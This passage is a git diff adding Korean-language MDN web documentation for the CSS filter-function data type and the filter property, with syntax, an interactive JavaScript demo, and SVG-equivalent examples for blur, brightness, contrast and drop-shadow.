+<p><code>&lt;filter-function&gt;</code> 자료형은 다음 목록의 필터 중 하나를 사용해 지정할 수 있습니다. 각 함수는 매개변수를 받아야 하며, 유효하지 않은 값을 전달하면 필터를 적용하지 않습니다.</p>
+
+<dl>
+ <dt>{{cssxref("filter-function/blur", "blur()")}}</dt>
+ <dd>이미지를 흐리게 만듭니다.</dd>
+ <dt>{{cssxref("filter-function/brightness", "brightness()")}}</dt>
+ <dd>이미지의 밝기를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/contrast", "contrast()")}}</dt>
+ <dd>이미지의 대비를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}</dt>
+ <dd>이미지의 뒤에 그림자를 적용합니다.</dd>
+ <dt>{{cssxref("filter-function/grayscale", "grayscale()")}}</dt>
+ <dd>이미지를 흑백으로 변환합니다.</dd>
+ <dt>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}</dt>
+ <dd>이미지의 전체 색조를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/invert", "invert()")}}</dt>
+ <dd>이미지의 색을 반전합니다.</dd>
+ <dt>{{cssxref("filter-function/opacity", "opacity()")}}</dt>
+ <dd>이미지의 투명도를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/saturate", "saturate()")}}</dt>
+ <dd>이미지의 채도를 조절합니다.</dd>
+ <dt>{{cssxref("filter-function/sepia", "sepia()")}}</dt>
+ <dd>이미지에 세피아 톤을 적용합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="필터_함수_비교">필터 함수 비교</h3>
+
+<p>이 예제는 간단한 그래픽과 함께 여러 가지 필터를 선택할 수 있는 선택 메뉴와, 필터의 값을 조절할 수 있는 슬라이더를 제공합니다. 컨트롤을 조절하면 필터가 실시간으로 변화하므로 각 필터의 효과를 편리하게 알아볼 수 있습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;&lt;/div&gt;
+&lt;ul&gt;
+  &lt;li&gt;
+    &lt;label for="filter-select"&gt;필터 함수 선택:&lt;/label&gt;
+    &lt;select id="filter-select"&gt;
+      &lt;option selected&gt;blur&lt;/option&gt;
+      &lt;option&gt;brightness&lt;/option&gt;
+      &lt;option&gt;contrast&lt;/option&gt;
+      &lt;option&gt;drop-shadow&lt;/option&gt;
+      &lt;option&gt;grayscale&lt;/option&gt;
+      &lt;option&gt;hue-rotate&lt;/option&gt;
+      &lt;option&gt;invert&lt;/option&gt;
+      &lt;option&gt;opacity&lt;/option&gt;
+      &lt;option&gt;saturate&lt;/option&gt;
+      &lt;option&gt;sepia&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;input type="range"&gt;&lt;output&gt;&lt;/output&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;p&gt;Current value: &lt;code&gt;&lt;/code&gt;&lt;/p&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  width: 300px;
+  height: 300px;
+  background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center;
+}
+
+li {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  margin-bottom: 20px;
+}
+
+input {
+  width: 60%
+}
+
+output {
+  width: 5%;
+  text-align: center;
+}
+
+select {
+  width: 40%;
+  margin-left: 2px;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">const selectElem = document.querySelector('select');
+const divElem = document.querySelector('div');
+const slider = document.querySelector('input');
+const output = document.querySelector('output');
+const curValue = document.querySelector('p code');
+
+selectElem.addEventListener('change', () =&gt; {
+  setSlider(selectElem.value);
+  setDiv(selectElem.value);
+});
+
+slider.addEventListener('input', () =&gt; {
+  setDiv(selectElem.value);
+});
+
+function setSlider(filter) {
+  if(filter === 'blur') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 30;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'px');
+  } else if(filter === 'brightness' || filter === 'contrast' || filter === 'saturate') {
+    slider.value = 1;
+    slider.min = 0;
+    slider.max = 4;
+    slider.step = 0.05;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'drop-shadow') {
+    slider.value = 0;
+    slider.min = -20;
+    slider.max = 40;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'px');
+  } else if(filter === 'opacity') {
+    slider.value = 1;
+    slider.min = 0;
+    slider.max = 1;
+    slider.step = 0.01;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'grayscale' || filter === 'invert' || filter === 'sepia') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 1;
+    slider.step = 0.01;
+    slider.setAttribute('data-unit', '');
+  } else if(filter === 'hue-rotate') {
+    slider.value = 0;
+    slider.min = 0;
+    slider.max = 360;
+    slider.step = 1;
+    slider.setAttribute('data-unit', 'deg');
+  }
+}
+
+function setDiv(filter) {
+  if(filter === 'drop-shadow') {
+    divElem.style.filter = `${selectElem.value}(${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(slider.value)}${slider.getAttribute('data-unit')} ${Math.round(Math.abs(slider.value/2))}${slider.getAttribute('data-unit')})`;
+  } else {
+    divElem.style.filter = `${selectElem.value}(${slider.value}${slider.getAttribute('data-unit')}`;
+  }
+
+  updateOutput();
+  updateCurValue();
+}
+
+function updateOutput() {
+  output.textContent = slider.value;
+}
+
+function updateCurValue() {
+  curValue.textContent = `필터: ${divElem.style.filter}`;
+}
+
+setSlider(selectElem.value);
+setDiv(selectElem.value);</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('필터_함수_비교', '100%', 500)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#typedef-filter-function', '&lt;filter-function&gt;') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>자료형을 사용하는 속성: {{cssxref("filter")}}, {{cssxref("backdrop-filter")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter/index.html b/files/ko/web/css/filter/index.html
new file mode 100644
index 0000000000..8020311f12
--- /dev/null
+++ b/files/ko/web/css/filter/index.html
@@ -0,0 +1,1138 @@
+---
+title: filter
+slug: Web/CSS/filter
+tags:
+  - CSS
+  - CSS Property
+  - Reference
+  - SVG
+  - SVG Filter
+  - 'recipe:css-property'
+translation_of: Web/CSS/filter
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>filter</code></strong> 속성은 흐림 효과나 색상 변형 등 그래픽 효과를 요소에 적용합니다.</span> 보통 필터는 이미지, 배경, 테두리 렌더링을 조정하는 데 쓰입니다.</p>
+
+<p>CSS 표준은 미리 정의된 효과를 내는 몇 가지 함수를 포함하고 있습니다. <a href="/ko/docs/Web/SVG/Element/filter">SVG 필터 요소</a>를 가리키는 URL 참조를 사용하여 SVG 필터를 적용할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/filter.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* SVG 필터를 가리키는 URL */
+filter: url("filters.svg#filter-id");
+
+/* &lt;filter-function&gt; 값 */
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* 다중 값 */
+filter: contrast(175%) brightness(3%);
+
+/* 필터 없음 */
+filter: none;
+
+/* 전역 값 */
+filter: inherit;
+filter: initial;
+filter: unset;</pre>
+
+<p>함수를 사용하려면 다음 구문을 사용하세요.</p>
+
+<pre class="syntaxbox notranslate">filter: &lt;filter-function&gt; [&lt;filter-function&gt;]* | none
+</pre>
+
+<p>SVG {{SVGElement("filter")}} 요소에 대한 참조를 사용하려면 다음 구문을 사용하세요.</p>
+
+<pre class="syntaxbox notranslate">filter: url(svg-url#element-id)
+</pre>
+
+<h3 id="보간">보간</h3>
+
+<p>보간의 처음과 끝 필터의 함수 목록 길이가 같고, 그 안에 {{cssxref("&lt;url&gt;")}} 값이 없으면, 각 필터 함수는 스스로의 특정 규칙을 따라 보간됩니다. 함수의 길이가 서로 다를 때는 긴 필터 목록에만 존재하는 필터를 짧은 필터 목록에 추가하며, 이 때 추가된 필터의 값으로는 누락 값(누락 시의 기본값)을 사용합니다. 이후 각 필터 함수는 서로 동일한 길이일 때와 같은 방식으로 보간합니다. 만약 한쪽의 필터가 <code>none</code>일 경우 다른 쪽 필터 목록을 모두 가져오고, 각각에 누락 값을 대입한 후 보간합니다. 이 외의 경우에는 이산적 보간을 사용합니다.</p>
+
+<h2 id="함수">함수</h2>
+
+<p><code>filter</code> 속성은 <code>none</code> 또는 아래의 함수를 하나 이상 사용해 지정할 수 있습니다. 어떤 함수의 매개변수가 유효하지 않다면, 그 함수는 <code>none</code>을 반환합니다. 따로 명시하지 않으면 백분율 값(<code>34%</code> 등)을 받는 함수는 그 백분율의 소수 표기(<code>0.34</code> 등)도 받을 수 있습니다.</p>
+
+<h3 id="SVG_필터">SVG 필터</h3>
+
+<h4 id="url"><code>url()</code></h4>
+
+<p><a href="/ko/docs/Web/SVG/Element/filter">SVG 필터</a>를 가리키는 URI를 받습니다. 외부 XML 파일에 포함된 필터도 가능합니다.</p>
+
+<pre class="brush: css notranslate">filter: url(resources.svg#c1)</pre>
+
+<h3 id="필터_함수">필터 함수</h3>
+
+<h4 id="blur"><code>blur()</code></h4>
+
+<p>{{cssxref("filter-function/blur", "blur()")}} 함수는 주어진 이미지에 가우시안 블러를 적용합니다. <code>radius</code> 값은 정규 분포의 표준 편차, 즉 화면에서 혼합할 픽셀의 수를 지정하므로 값이 클수록 이미지가 흐려집니다. 보간 시 누락값은 <code>0</code>입니다. 매개변수는 CSS 길이로 명시되어 있지만 백분율 값은 받지 않습니다.</p>
+
+<pre class="brush: css notranslate">filter: blur(5px)
+</pre>
+
+<div id="blur_example" style="display: none;">
+<pre class="brush: html notranslate">  &lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg id="img3" viewbox="0 0 233 176"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%" &gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" /&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3710/Test_Form_2.jpeg" filter="url(#svgBlur)" x="5%" y="5%" width="212px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3711/Test_Form_2_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:blur(5px);
+  -webkit-filter:blur(5px);
+  -o-filter:blur(5px);
+  -ms-filter:blur(5px);
+  filter:blur(5px); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height: 100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('blur_example','100%','236px','','', 'no-codepen')}}</p>
+
+<h4 id="brightness"><code>brightness()</code></h4>
+
+<p>{{cssxref("filter-function/brightness", "brightness()")}} 함수는 주어진 이미지에 선형 배수를 적용하여 이미지를 밝거나 어둡게 표시합니다. <code>0%</code>일 경우 완전히 검은색 이미지가 되고, <code>100%</code>일 경우 이미지가 그대로 유지되며, 이외의 값은 효과의 선형 배수로 작용합니다. <code>100%</code>보다 큰 값도 허용되며, 이때는 더 밝은 이미지가 생성됩니다. 보간 시 누락값은 <code>1</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: brightness(0.5)</pre>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="[amount]"/&gt;
+      &lt;feFuncG type="linear" slope="[amount]"/&gt;
+      &lt;feFuncB type="linear" slope="[amount]"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="brightness_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 286 217"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="2"/&gt;
+        &lt;feFuncG type="linear" slope="2"/&gt;
+        &lt;feFuncB type="linear" slope="2"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3708/Test_Form.jpg" filter="url(#brightness)" width="286px" height="217px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3709/Test_Form_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:brightness(2);
+  -webkit-filter:brightness(2);
+  -o-filter:brightness(2);
+  -ms-filter:brightness(2);
+  filter:brightness(2); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height:100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('brightness_example','100%','231px','','', 'no-codepen')}}</p>
+
+<h4 id="contrast"><code>contrast()</code></h4>
+
+<p>{{cssxref("filter-function/constrast", "constrast()")}} 함수는 주어진 이미지의 대비를 조정합니다. <code>0%</code>일 경우 완전히 회색 이미지가 되고, <code>100%</code>일 경우 이미지가 그대로 유지됩니다. <code>100%</code>보다 큰 값도 허용되며, 이때는 대비가 더 큰 이미지가 생성됩니다. 보간 시 누락값은 <code>1</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: contrast(200%)
+</pre>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="contrast_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpeg" id="img1" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpg" id="img2" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 240 151"&gt;
+ &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncG type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncB type="linear" slope="2" intercept="-0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3712/Test_Form_3.jpeg" filter="url(#contrast)" width="240px" height="151px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3713/Test_Form_3_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:contrast(200%);
+  -webkit-filter:contrast(200%);
+  -o-filter:contrast(200%);
+  -ms-filter:contrast(200%);
+  filter:contrast(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('contrast_example','100%','203px','','', 'no-codepen')}}</p>
+
+<h4 id="drop-shadow"><code>drop-shadow()</code></h4>
+
+<p>{{cssxref("filter-function/drop-shadow", "drop-shadow()")}} 함수는 주어진 이미지에 그림자 효과를 적용합니다. 이때 추가하는 그림자는, 주어진 이미지의 알파 마스크에 특정한 색상과 오프셋, 흐림 효과를 적용하고 이미지 밑에 합성한 것입니다. 이 함수는 <code>inset</code> 키워드를 제외하고 (CSS3 Backgrounds에 정의된) <code>&lt;shadow&gt;</code> 자료형의 매개변수를 그대로 받을 수 있습니다. <code>drop-shadow()</code>는 보다 확립된 {{cssxref("box-shadow")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다. <code>&lt;shadow&gt;</code> 값의 매개변수는 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code> <small>(필수)</small></dt>
+ <dd>그림자 오프셋을 설정하는 두 {{cssxref("&lt;length&gt;")}} 값입니다. <code>&lt;offset-x&gt;</code>는 가로 거리를 지정하며, 음수일 경우 그림자가 왼쪽에 배치됩니다. <code>&lt;offset-y&gt;</code>는 세로 거리를 지정하며, 음수일 경우 그림자가 위쪽에 배치됩니다. 가능한 단위는 {{cssxref("&lt;length&gt;")}}를 참조하세요.<br>
+ 두 값이 모두 <code>0</code>이면 그림자가 요소 바로 밑에 배치되며, <code>&lt;blur-radius&gt;</code>나 <code>&lt;spread-radius&gt;</code>를 설정한 경우 흐림 효과를 표시할 수 있습니다.</dd>
+ <dt><code>&lt;blur-radius&gt;</code> <small>(선택)</small></dt>
+ <dd>세 번째 {{cssxref("&lt;length&gt;")}} 값입니다. 클수록 흐려지는 반경이 커지고 그림자가 옅어집니다. 음수 값은 사용할 수 없습니다. 값을 지정하지 않으면 <code>0</code>으로 취급하여 그림자 가장자리가 날카로워집니다.</dd>
+ <dt><code>&lt;color&gt;</code> <small>(선택)</small></dt>
+ <dd>가능한 키워드 및 표기법은 {{cssxref("&lt;color&gt;")}}를 참조하세요. 값을 지정하지 않았을 때의 색상은 브라우저에 따라 다릅니다. 보통 {{cssxref("&lt;color&gt;")}} 속성의 값을 사용하지만, 현재 사파리는 투명한 그림자를 그리는 것을 주의하세요.</dd>
+</dl>
+
+<pre class="brush: css notranslate">filter: drop-shadow(16px 16px 10px black)</pre>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/&gt;
+    &lt;feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/&gt;
+    &lt;feFlood flood-color="[color]"/&gt;
+    &lt;feComposite in2="offsetblur" operator="in"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="shadow_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpeg" id="img1" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpg" id="img2" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 239 187"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="5"/&gt;
+    &lt;feOffset dx="16" dy="16"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3714/Test_Form_4.jpeg" filter="url(#drop-shadow)" width="213px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4_s.jpg" id="img4" class="internal default" src="/files/3715/Test_Form_4_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Original image" id="img11" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Live example" id="img12" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="svg-container"&gt;
+          &lt;svg xmlns="http://www.w3.org/2000/svg" id="img13" viewbox="0 0 239 187"&gt;
+            &lt;filter id="drop-shadow2"&gt;
+              &lt;feGaussianBlur in="SourceAlpha" stdDeviation="4"/&gt;
+              &lt;feOffset dx="8" dy="10"/&gt;
+              &lt;feMerge&gt;
+                &lt;feMergeNode/&gt;
+                &lt;feMergeNode in="SourceGraphic"/&gt;
+              &lt;/feMerge&gt;
+            &lt;/filter&gt;
+            &lt;image xlink:href="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png<span style="font-size: 1rem;">" filter="url(#drop-shadow2)" width="213px" height="161px" /&gt;</span>
+          &lt;/svg&gt;
+        &lt;div&gt;
+      &lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border drop shadow - Static example" id="img14" class="internal default" src="/files/8469/Test_Form_4_irregular-shape_opacity-gradient_drop-shadow.png" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(16px 16px 10px black);
+  -webkit-filter: drop-shadow(16px 16px 10px black);
+  -o-filter: drop-shadow(16px 16px 10px black);
+  -ms-filter: drop-shadow(16px 16px 10px black);
+  filter: drop-shadow(16px 16px 10px black);
+}
+#img12 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -webkit-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -o-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -ms-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+#irregular-shape {
+  width: 64%;
+}
+table.standard-table th {
